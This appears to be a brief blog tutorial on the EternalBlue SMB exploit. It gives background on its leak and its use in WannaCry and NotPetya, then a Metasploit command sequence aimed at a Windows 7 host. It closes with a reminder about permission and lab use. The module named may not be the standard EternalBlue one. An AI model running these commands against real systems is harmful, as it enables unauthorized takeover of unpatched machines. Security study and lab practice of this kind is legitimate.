Hacking Windows 7 with Metasploit

Why Windows 7?

Windows 7 was a widely adopted operating system, released by Microsoft in 2009. While it was a significant improvement over its predecessor, Windows Vista, it still had its fair share of vulnerabilities that could be exploited by skilled hackers. Even though Microsoft ended mainstream support for Windows 7 in 2015, many organizations and individuals still use this operating system, making it a prime target for cyber attacks.

EternalBlue

EternalBlue is a cyberattack exploit that was developed by the United States National Security Agency (NSA) to gather intelligence and fight terrorism. However, it was stolen by a group called the Shadow Brokers and leaked onto the internet in 2017. This exploit is particularly dangerous because it can be used to remotely control and manipulate Windows-based computers, allowing attackers to access and steal sensitive information.

How EternalBlue Works

Lets understand the working of Eternal Blue.

EternalBlue exploits a vulnerability in the Server Message Block (SMB) protocol, which is used by Windows computers to communicate with each other and other devices. By manipulating this vulnerability, attackers can remotely execute any kind of code on a targeted computer, effectively taking control of it.

Impact of EternalBlue

Talking about its impact.

EternalBlue has been used in several high-profile cyber attacks, including the WannaCry ransomware attack in 2017. This attack infected over 200,000 computers worldwide, causing significant disruptions to healthcare, transportation, and other critical infrastructure. The exploit has also been used in other attacks, such as the NotPetya ransomware attack, which caused widespread damage to businesses and organizations.

Why EternalBlue is a Concern

Now the question arises is that why eternalblue is still a concern

EternalBlue is a concern because it is a powerful and highly effective exploit that can be used to target unpatched Windows computers. Even though Microsoft issued patches for the vulnerability in 2017, many systems remain unpatched, leaving them vulnerable to attack. Additionally, the exploit is highly versatile and can be used in a variety of ways, making it a significant threat to computer security.

Now lets see how we can leverage Eternal Blue using metasploit in order to exploit a Windows 7 computer.

```
msfconsole

search eternalblue

use exploit/windows/smb/smb_doublepulsar_rce

options

set LHOST IP

set RHOST IP

exploit
```

As you saw, eternal blue for Windows 7 is a no-brainer exploit. In my opinion, it is one of the best exploit out there if we are targeting Windows 7. But Beware of that, as it might also crash the target system. So before firing it on any machine, make sure you have permission to do that or you are doing it in a controlled lab environment like this one.